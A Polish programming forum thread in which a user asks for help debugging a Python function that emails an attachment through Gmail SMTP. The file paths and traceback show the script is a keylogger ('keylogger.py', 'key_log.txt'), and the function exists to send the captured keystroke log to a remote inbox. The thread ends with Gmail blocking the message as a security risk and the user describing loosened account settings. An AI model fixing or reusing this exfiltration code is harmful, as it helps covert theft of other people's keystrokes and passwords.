Błąd przy wysyłaniu wiadomości na email

0

Witam, przy próbie debugowania kodu wyskakują 2 błędy:

def send_email(filename, attachment, toaddr):
    fromaddr = email_address
    msg = MIMEMultipart()
    msg['From'] = fromaddr
    msg['To'] = toaddr
    msg['Subject'] = "Nowy Log"

    body = "Nowy plik tekstowy"
    msg.attach(MIMEText(body, 'plain'))

    filename = filename
    attachment = open(attachment, 'rb')

    p = MIMEBase('application', 'octet-stream')
    p.set_payload((attachment).read())

    encoders.encode_base64(p)

    p.add_header('Content-Disposition', "attachment; filename= %s" % filename)

    msg.attach(p)

    s = smtplib.SMTP('smtp.gmail.com', 587)
    s.starttls()
    s.login(fromaddr, password)

    text = msg.as_string()

    s.sendmail(fromaddr, toaddr, text)
    s.quit()

send_email(keys_information, file_path + extend + keys_information, toaddr)

Dodaje jeszcze screenshot:
https://files.fm/u/eyspr73wj#/view/78xee387h

Błąd występuje w:

attachment = open(attachment, 'rb')

oraz

send_email(keys_information, file_path + extend + keys_information, toaddr)
0

Co to za bledy, co mowi debbuger ?

PS

file_path + extend + keys_information

Co tutaj dodajesz ? Czym sa te zmienne

0

@ledi12:

SS debbugera: https://files.fm/u/cwtaapmzm#/view/esn85939c

file_path + extend + keys_information
file_path = "C:\\xxx\\xxx\\PycharmProjects\\KeyLog\\Projekt"
extend = "\\"
keys_information = "key_log.txt"
0

@ edit

Udało się stworzyć plik w podanej ścieżce, lecz teraz debug pokazuje inne błędy:

Traceback (most recent call last):
  File "xxx:\xxx\PyCharm\PyCharm Community Edition 2020.3.3\plugins\python-ce\helpers\pydev\pydevd.py", line 1477, in _exec
    pydev_imports.execfile(file, globals, locals)  # execute the script
  File "xxx:\xxx\PyCharm\PyCharm Community Edition 2020.3.3\plugins\python-ce\helpers\pydev\_pydev_imps\_pydev_execfile.py", line 18, in execfile
    exec(compile(contents+"\n", file, 'exec'), glob, loc)
  File "x:/xxx/xxx/PycharmProjects/KeyLog/Projekt/keylogger.py", line 91, in <module>
    send_email(keys_information, file_path + extend + keys_information, toaddr)
  File "x:/xxx/xx/PycharmProjects/KeyLog/Projekt/keylogger.py", line 88, in send_email
    s.sendmail(fromaddr, toaddr, text)
  File "x:\xxx\xxx\xxx\Local\Programs\Python\Python38\lib\smtplib.py", line 890, in sendmail
    raise SMTPDataError(code, resp)
smtplib.SMTPDataError: (552, b'5.7.0 This message was blocked because its content presents a potential\n5.7.0 security issue. Please visit\n5.7.0  https://support.google.com/mail/?p=BlockedMessage to review our\n5.7.0 message content and attachment content guidelines. f5sm216337ljc.8 - gsmtp')

Dodam, że odblokowałem opcje wysyłania wiadomości z innych źródeł na koncie Gmail

1 użytkowników online, w tym zalogowanych: 0, gości: 1